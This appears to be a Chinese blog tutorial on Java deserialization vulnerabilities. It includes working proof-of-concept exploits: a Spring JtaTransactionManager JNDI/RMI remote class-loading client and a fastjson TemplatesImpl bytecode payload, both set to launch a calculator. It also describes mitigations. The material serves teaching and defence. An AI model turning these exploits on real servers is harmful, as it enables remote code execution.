深入剖析 Java 反序列化漏洞

2022-01-14 Java極客技術
一、背景

在上篇文章中,小編有詳細的介紹了序列化和反序列化的玩法,以及一些常見的坑點。

但是,高端的玩家往往不會僅限於此,熟悉接口開發的同學一定知道,能將數據對象很輕鬆的實現多平臺之間的通信、對象持久化存儲,序列化和反序列化是一種非常有效的手段,例如如下應用場景,對象必須 100% 實現序列化。

RMI:Java 的一組擁護開發分布式應用程式 API,實現了不同作業系統之間程序的方法調用,RMI 的傳輸 100% 基於反序列化,Java RMI 的默認埠是 1099 埠

而在反序列化的背後,卻隱藏了很多不為人知的秘密!

最為出名的大概應該是:15年的 Apache Commons Collections 反序列化遠程命令執行漏洞,當初影響範圍包括:WebSphere、JBoss、Jenkins、WebLogic 和 OpenNMSd 等知名軟體,直接在網際網路行業掀起了一陣颶風。

2016 年 Spring RMI 反序列化爆出漏洞,攻擊者可以通過 JtaTransactionManager 這個類,來遠程執行惡意代碼。

2017 年 4月15 日,Jackson 框架被發現存在一個反序列化代碼執行漏洞。該漏洞存在於 Jackson 框架下的 enableDefaultTyping 方法,通過該漏洞,攻擊者可以遠程在伺服器主機上越權執行任意代碼,從而取得該網站伺服器的控制權。

還有 fastjson,一款 java 編寫的高性能功能非常完善的 JSON 庫,應用範圍非常廣,在 2017 年,fastjson 官方主動爆出 fastjson 在1.2.24及之前版本存在遠程代碼執行高危安全漏洞。攻擊者可以通過此漏洞遠程執行惡意代碼來入侵伺服器。

Java 十分受開發者喜愛的一點,就是其擁有完善的第三方類庫,和滿足各種需求的框架。但正因為很多第三方類庫引用廣泛,如果其中某些組件出現安全問題,或者在數據校驗入口就沒有把關好,那麼受影響範圍將極為廣泛的,以上爆出的漏洞,可能只是星辰大海中的一束花。

那麼問題來了,攻擊者是如何精心構造反序列化對象並執行惡意代碼的呢?

二、漏洞分析2.1、漏洞基本原理

我們先看一段代碼如下:

public class DemoSerializable {

    public static void main(String[] args) throws Exception {
        //定義myObj對象
        MyObject myObj = new MyObject();
        myObj.name = "hello world";
        //創建一個包含對象進行反序列化信息的」object」數據文件
        FileOutputStream fos = new FileOutputStream("object");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        //writeObject()方法將myObj對象寫入object文件
        os.writeObject(myObj);
        os.close();
        //從文件中反序列化obj對象
        FileInputStream fis = new FileInputStream("object");
        ObjectInputStream ois = new ObjectInputStream(fis);
        //恢復對象
        MyObject objectFromDisk = (MyObject)ois.readObject();
        System.out.println(objectFromDisk.name);
        ois.close();
    }
}

class MyObject implements Serializable {

    /**
     * 任意屬性
     */
    public String name;


    //重寫readObject()方法
    private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
        //執行默認的readObject()方法
        in.defaultReadObject();
        //執行指定程序
        Runtime.getRuntime().exec("open https://www.baidu.com/");
    }
}

運行程序之後,控制臺會輸出hello world,同時也會打開網頁跳轉到https://www.baidu.com/。

從這段邏輯中分析,我們可以很清晰的看到反序列化已經成功了,但是程序又偷偷的執行了一段如下代碼。

Runtime.getRuntime().exec("open https://www.baidu.com/");

我們可以再把這段代碼改造一下,內容如下:

//mac系統,執行打開計算器程序命令
Runtime.getRuntime().exec("open /Applications/Calculator.app/");

//windows系統,執行打開計算器程序命令
Runtime.getRuntime().exec("calc.exe");

運行程序後,可以很輕鬆的打開電腦中已有的任意程序。

很多人可能不知道,這裡的readObject()是可以重寫的,只是Serializable接口沒有顯示的把它展示出來,readObject()方法的作用是從一個源輸入流中讀取字節序列,再把它們反序列化為一個對象,並將其返回,以定製反序列化的一些行為。

可能有的同學會說,實際開發過程中,不會有人這麼去重寫readObject()方法,當然不會,但是實際情況也不會太差。

2.2、Spring 框架的反序列化漏洞

以當時的 Spring 框架爆出的反序列化漏洞為例,請看當時的示例代碼。

首先創建一個 server 代碼:

public class ExploitableServer {

    public static void main(String[] args) {
        try {
            //創建socket
            ServerSocket serverSocket = new ServerSocket(Integer.parseInt("9999"));
            System.out.println("Server started on port "+serverSocket.getLocalPort());
            while(true) {
                //等待連結
                Socket socket=serverSocket.accept();
                System.out.println("Connection received from "+socket.getInetAddress());
                ObjectInputStream objectInputStream = new ObjectInputStream(socket.getInputStream());
                try {
                    //讀取對象
                    Object object = objectInputStream.readObject();
                    System.out.println("Read object "+object);
                } catch(Exception e) {
                    System.out.println("Exception caught while reading object");
                    e.printStackTrace();
                }
            }
        } catch(Exception e) {
            e.printStackTrace();
        }
    }
}

然後創建一個 client 代碼:

public class ExploitClient {

    public static void main(String[] args) {
        try {
            String serverAddress = "127.0.0.1";
            int port = Integer.parseInt("1234");
            String localAddress= "127.0.0.1";

            System.out.println("Starting HTTP server");   //開啟8080埠服務
            HttpServer httpServer = HttpServer.create(new InetSocketAddress(8080), 0);
            httpServer.createContext("/",new HttpFileHandler());
            httpServer.setExecutor(null);
            httpServer.start();

            System.out.println("Creating RMI Registry"); //綁定RMI服務到 1099埠 Object  提供惡意類的RMI服務
            Registry registry = LocateRegistry.createRegistry(1099);
            /*
            java為了將object對象存儲在Naming或者Directory服務下,
            提供了Naming Reference功能,對象可以通過綁定Reference存儲在Naming和Directory服務下,
            比如(rmi,ldap等)。在使用Reference的時候,我們可以直接把對象寫在構造方法中,
            當被調用的時候,對象的方法就會被觸發。理解了jndi和jndi reference後,
            就可以理解jndi注入產生的原因了。
             */ //綁定本地的惡意類到1099埠
            Reference reference = new javax.naming.Reference("ExportObject","ExportObject","http://"+serverAddress+":8080"+"/");
            ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(reference);
            registry.bind("Object", referenceWrapper);

            System.out.println("Connecting to server "+serverAddress+":"+port); //連接伺服器1234埠
            Socket socket=new Socket(serverAddress,port);
            System.out.println("Connected to server");
            String jndiAddress = "rmi://"+localAddress+":1099/Object";

            //JtaTransactionManager 反序列化時的readObject方法存在問題 //使得setUserTransactionName可控,遠程加載惡意類
            //lookup方法會實例化惡意類,導致執行惡意類無參的構造方法
            org.springframework.transaction.jta.JtaTransactionManager object = new org.springframework.transaction.jta.JtaTransactionManager();
            object.setUserTransactionName(jndiAddress);
            //上面就是poc,下面是將object序列化發送給伺服器,伺服器訪問惡意類
            System.out.println("Sending object to server...");
            ObjectOutputStream objectOutputStream = new ObjectOutputStream(socket.getOutputStream());
            objectOutputStream.writeObject(object);
            objectOutputStream.flush();
            while(true) {
                Thread.sleep(1000);
            }
        } catch(Exception e) {
            e.printStackTrace();
        }
    }
}

最後,創建一個ExportObject需要遠程下載的類:

public class ExportObject {

    public static String exec(String cmd) throws Exception {
        String sb = "";
        BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
        BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
        String lineStr;
        while ((lineStr = inBr.readLine()) != null)
            sb += lineStr + "\n";
        inBr.close();
        in.close();
        return sb;
    }
    public ExportObject() throws Exception {
        String cmd="open /Applications/Calculator.app/";
        throw new Exception(exec(cmd));
    }
}

先開啟 server,再運行 client 後,計算器會直接被打開!

究其原因,主要是這個類JtaTransactionManager類存在問題,最終導致了漏洞的實現。

打開源碼,翻到最下面,可以很清晰的看到JtaTransactionManager類重寫了readObject方法。

重點就是這個方法initUserTransactionAndTransactionManager(),裡面會轉調用到JndiTemplate的lookup()方法。

可以看到lookup()方法作用是:Look up the object with the given name in the current JNDI context。

也就是說,通過JtaTransactionManager類的setUserTransactionName()方法執行,最終指向了rmi://127.0.0.1:1099/Object,導致服務執行了惡意類的遠程代碼。

2.3、FASTJSON 框架的反序列化漏洞分析

我們先來看一個簡單的例子,程序代碼如下:

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;

public class Test extends AbstractTranslet {
    
    public Test() throws IOException {
        Runtime.getRuntime().exec("open /Applications/Calculator.app/");
    }

    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) {
    }


    public static void main(String[] args) throws Exception {
        Test t = new Test();
    }
}

運行程序之後,同樣的直接會打開電腦中的計算器。

惡意代碼植入的核心就是在對象初始化階段,直接會調用Runtime.getRuntime().exec("open /Applications/Calculator.app/")這個方法,通過運行時操作類直接執行惡意代碼。

我們在來看看下面這個例子:

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import org.apache.commons.io.IOUtils;
import org.apache.commons.codec.binary.Base64;

import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;


public class POC {

    public static String readClass(String cls){
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        try {
            IOUtils.copy(new FileInputStream(new File(cls)), bos);
        } catch (IOException e) {
            e.printStackTrace();
        }
        return Base64.encodeBase64String(bos.toByteArray());

    }

    public static void  test_autoTypeDeny() throws Exception {
        ParserConfig config = new ParserConfig();
        final String fileSeparator = System.getProperty("file.separator");
        final String evilClassPath = System.getProperty("user.dir") + "/target/classes/person/Test.class";
        String evilCode = readClass(evilClassPath);
        final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        String text1 = "{\"@type\":\"" + NASTY_CLASS +
                "\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b',\"_outputProperties\":{ }," +
                "\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n";
        System.out.println(text1);

        Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
        //assertEquals(Model.class, obj.getClass());
    }
    public static void main(String args[]){
        try {
            test_autoTypeDeny();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

在這個程序驗證代碼中,最核心的部分是_bytecodes,它是要執行的代碼,@type是指定的解析類,fastjson會根據指定類去反序列化得到該類的實例,在默認情況下,fastjson只會反序列化公開的屬性和域,而com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl中_bytecodes卻是私有屬性,_name也是私有域,所以在parseObject的時候需要設置Feature.SupportNonPublicField,這樣_bytecodes欄位才會被反序列化。

_tfactory這個欄位在TemplatesImpl既沒有get方法也沒有set方法,所以是設置不了的,只能依賴於jdk的實現,某些版本中在defineTransletClasses()用到會引用_tfactory屬性導致異常退出。

如果你的jdk版本是1.7,並且fastjson <= 1.2.24,基本會執行成功,如果是高版本的,可能會報錯!

詳細分析請移步:http://blog.nsfocus.net/fastjson-remote-deserialization-program-validation-analysis/

Jackson 的反序列化漏洞也與之類似。

三、如何防範

從上面的案例看,java 的序列化和反序列化,單獨使用的並沒有啥毛病,核心問題也都不是反序列化,但都是因為反序列化導致了惡意代碼被執行了,尤其是兩個看似安全的組件,如果在同一系統中交叉使用,也能會帶來一定安全問題。

3.1、禁止 JVM 執行外部命令 Runtime.exec

從上面的代碼中,我們不難發現,惡意代碼最終都是通過Runtime.exec這個方法得到執行,因此我們可以從 JVM 層面禁止外部命令的執行。

通過擴展 SecurityManager 可以實現:

public class SecurityManagerTest {

    public static void main(String[] args) {
        SecurityManager originalSecurityManager = System.getSecurityManager();
        if (originalSecurityManager == null) {
            // 創建自己的SecurityManager
            SecurityManager sm = new SecurityManager() {
                private void check(Permission perm) {
                    // 禁止exec
                    if (perm instanceof java.io.FilePermission) {
                        String actions = perm.getActions();
                        if (actions != null && actions.contains("execute")) {
                            throw new SecurityException("execute denied!");
                        }
                    }
                    // 禁止設置新的SecurityManager,保護自己
                    if (perm instanceof java.lang.RuntimePermission) {
                        String name = perm.getName();
                        if (name != null && name.contains("setSecurityManager")) {
                            throw new SecurityException("System.setSecurityManager denied!");
                        }
                    }
                }

                @Override
                public void checkPermission(Permission perm) {
                    check(perm);
                }

                @Override
                public void checkPermission(Permission perm, Object context) {
                    check(perm);
                }
            };

            System.setSecurityManager(sm);
        }
    }
}

只要在 Java 代碼裡簡單加上面那一段,就可以禁止執行外部程序了,但是並非禁止外部程序執行,Java 程序就安全了,有時候可能適得其反,因為執行權限被控制太苛刻了,不見得是個好事,我們還得想其他招數。

3.2、增加多層數據校驗

比較有效的辦法是,當我們把接口參數暴露出去之後,服務端要及時做好數據參數的驗證,尤其是那種帶有http、https、rmi等這種類型的參數過濾驗證,可以進一步降低服務的風險。

四、小結

隨著 Json 數據交換格式的普及,直接應用在服務端的反序列化接口也隨之減少,但陸續爆出的Jackson和Fastjson兩大 Json 處理庫的反序列化漏洞,也暴露出了一些問題。

所以我們在日常業務開發的時候,對於 Java 反序列化的安全問題應該具備一定的防範意識,並著重注意傳入數據的校驗、伺服器權限和相關日誌的檢查, API 權限控制,通過 HTTPS 加密傳輸數據等方面進行下功夫,以免造成不必要的損失!

五、參考

1、seebug - 深入理解 JAVA 反序列化漏洞

2、博客圓  - Afant1- Spring framework 反序列化的漏洞

3、技術博客- FASTJSON 遠程反序列化程序驗證的構造和分析

相關焦點

  • java反序列化——XMLDecoder反序列化漏洞
    前言最近學習java反序列化學到了weblogic部分,weblogic之前的兩個反序列化漏洞不涉及T3協議之類的,只是涉及到了XMLDecoder
  • 常見的 Web 漏洞 —— 反序列化漏洞
    前段時間因各種原因,終於下定決心好好總結一下反序列化漏洞,耗時兩周,且看且珍惜!Vulnerability Introduction反序列化漏洞首次出現在2015年。雖然漏洞較新,但利用十分熱門,主要原因還是太過信任客戶端提交的數據,容易被開發者忽略,該漏洞一般都可執行任意命令或代碼,造成的影響較大。
  • Java反序列化漏洞從理解到實踐
    在本文中,我們會深入分析大家非常熟悉的Java發序列化漏洞。對我們而言,最好的實踐就是真正理解手頭掌握的知識,並可以根據實際需要加以改進利用。本文的主要內容包括以下兩方面:1. 利用某個反序列化漏洞。2. 自己手動創建利用載荷。
  • Java 8u20反序列化漏洞分析
    java.io.ObjectOutputStream#defaultWriteFields這裡可以總結下,在序列化對象時,先序列化該對象類的信息和該類的成員屬性,再序列化父類的類信息和成員屬性,然後序列化對象數據信息時,先序列化父類的數據信息,
  • 文庫 | 反序列化漏洞匯總
    因此,幾乎不可能預料到惡意數據的流動並堵塞(修復)每個潛在的漏洞。簡而言之,反序列化不受信任的輸入是不安全的。漏洞影響不安全的反序列化的影響可能非常嚴重,因為它為大規模增加攻擊面提供了切入點。它允許攻擊者以有害的方式重用現有的應用程式代碼,從而導致許多其他漏洞,通常是遠程執行代碼(RCE)。
  • Java安全之反序列化漏洞分析
    在Java中,只要一個類實現了java.io.Serializable接口,那麼它就可以通過ObjectInputStream與ObejctOutputStream序列化,如下我們模擬了Session對象持久化存儲與從磁碟加載的過程:結合注釋,這段測試代碼應該不難理解,我們可以看到Java對象序列化就依賴於ObejctOutputStream的writeObject
  • JAVA反序列化漏洞實例解析
    今天i春秋通過一期《JAVA反序列化學習-基礎篇》公開課,帶大家快速了解預期效果、JAVA編程基礎、漏洞基礎、靶項目搭建四個模塊內容,感興趣的小夥伴速來學習吧!感興趣的小夥伴,識別二維碼立即看課1、漏洞原理我們既然已經知道了序列化與反序列化的過程,那麼如果在反序列化時,這些即將被反序列化的數據是經過特殊構造的呢?如果Java應用對用戶輸入,即不可信數據做了反序列化處理,那麼攻擊者可以通過構造惡意輸入,讓反序列化產生非預期的對象,非預期的對象在產生過程中就有可能帶來任意代碼執行。
  • JAVA反序列化—FastJson抗爭的一生
    反序列化對象名稱:com.alibaba.fastjson.JSONObjectparseObject反序列化:{"name":"lala","age":11}//parseObject({},class)反序列化parseObject反序列化對象名稱:com.fastjson.UserparseObject反序列化:com.fastjson.User
  • Java序列化對象(JSO):實戰漏洞利用指南
    在本報告中,我們將探討JSO如何受到不安全的反序列化漏洞的影響、網際網路上JSO處理的應用程式的流行程度,以及測試人員如何使用Metasploit框架來驗證涉及JSO的漏洞。1. 與2017年相比,與JSO相關的CVE漏洞在2018年大幅增加。在兩年中,總共確認了近100個漏洞,而2013年至2016年期間僅確認了7個漏洞。2.
  • Java序列化反序列化源碼---Jackson反序列化漏洞源碼分析
    ,進一步分析Jackson源碼,找出造成漏洞的原因,最後以Jackson2.9.2版本,JDK1.80_171,resin4.0.52,CVE-2020-10673為例復現漏洞。 只有實現了Serializable接口的類的對象才可以被序列化,Serializable接口是啟用其序列化功能的接口,實現 java.io.Serializable接口的類才是可序列化的,沒有實現此接口的類將不能使它們的任一狀態被序列化或逆序列化。
  • java反序列化之Commons Collections分析(一)
    前言在學習java反序列化的過程中,Commons Collections幾乎是反序列化學習中無法繞過的一關。在中間查閱了一些資料,發現在3.1-3.2.1版本中TransformingComparator並沒有去實現Serializable接口,也就是說這是不可以被序列化的。所以在利用鏈上就不能使用他去構造。
  • PHP反序列化漏洞說明
    序列化可以將對象轉換成字符串,但僅保留對象裡的成員變量,不保留函數方法。PHP序列化的函數為serialize,反序列化的函數為unserialize.舉個慄子:<?反序列化反序列化就是序列化的逆過程,即對於將對象進行序列化後的字符串,還原其成員變量的過程。接上述慄子:<?
  • PHP反序列化漏洞基礎
    一、PHP序列化和反序列化1、PHP反序列化:將變量或者對象轉換成字符串的過程,用於存儲或傳遞PHP的值的過程種,同時不丟失其類型和結構。②在反序列的時候php會根據s所指定的字符長度去讀取後面的字符。如果指定的長度錯誤則反序列化就會失敗。2、session反序列化(1)session概念PHP session時一個特殊的變量,用於存儲有關用戶會話的信息,或更改用戶會話的設置。session變量保存的信息是單一用戶的,並且可供應用程式中的所有界面使用。
  • 乾貨 | PHP反序列化原理及不同類別反序列化漏洞總結
    op"private變量\x00 + 類名 + \x00 + 變量名反序列化漏洞形成條件1、unserialize函數的參數可控2、後臺使用了相應的PHP中的魔法函數反序列化漏洞原理<?PHP語言本身漏洞還有一種PHP語言本身漏洞碰到某種特點情況導致的反序列化漏洞如:__wakeup失效引發(CVE-2016-7124)php版本<5.6.25 | <
  • MySQL JDBC客戶端反序列化漏洞
    標題: MySQL JDBC客戶端反序列化漏洞☆ 背景介紹☆ 學習思路☆ 搭建測試環境☆ 惡意MySQL插件    1) 獲取MySQL 5.7.28源碼    2) 在rewrite_example基礎上修改出evilreplace☆ 測試rewriter插件    1) 安裝rewriter.so
  • 全方位解析Java序列化
    使用 ObjectInputStream 類的 readObject 方法,實現反序列化,重新生成 Student 對象再把 test.out 文件讀取出來,反序列化為 Student列印學生對象,序列化到文件;接著修改靜態變量的值,再反序列化;輸出反序列化後的對象~
  • 詳解JAVA序列化
    這個時候我們就需要通過固定的協議,傳輸固定的數據格式,而這個數據傳輸的協議稱之為序列化,而定義了傳輸數據行為的框架組件也稱之為序列化組件(框架)序列化有什麼意義首先我們先看看,java中的序列化,在java語言中實例對象想要序列化傳輸,需要實現Serializable 接口,只有當前接口修飾定義的類對象才可以按照指定的方式傳輸對象。
  • 什麼是序列化,怎麼序列化,為什麼序列化,反序列化會遇到什麼問題,如何解決.
    一、序列化和反序列化的概念 序列化:把對象轉換為字節序列的過程稱為對象的序列化。反序列化:把字節序列恢復為對象的過程稱為對象的反序列化。上面是專業的解釋,現在來點通俗的解釋。FlyPig 對象序列化成功!FlyPig 對象反序列化成功!
  • Dubbo HttpInvoker反序列化分析
    之前審計的過程中,遇到過Dubbo這個組件,雖然知道這個組件存在反序列化漏洞,但是關於漏洞的詳情和利用一概不知,所以下面對Dubbo的漏洞進行分析
  • Java程式設計師必備:序列化全方位解析
    java.io.ObjectInputStream表示對象輸入流,它的readObject()方法,從輸入流中讀取到字節序列,反序列化成為一個對象,最後將其返回。五、序列化的使用序列化如何使用?列印學生對象,序列化到文件,接著修改靜態變量的值,再反序列化,輸出反序列化後的對象~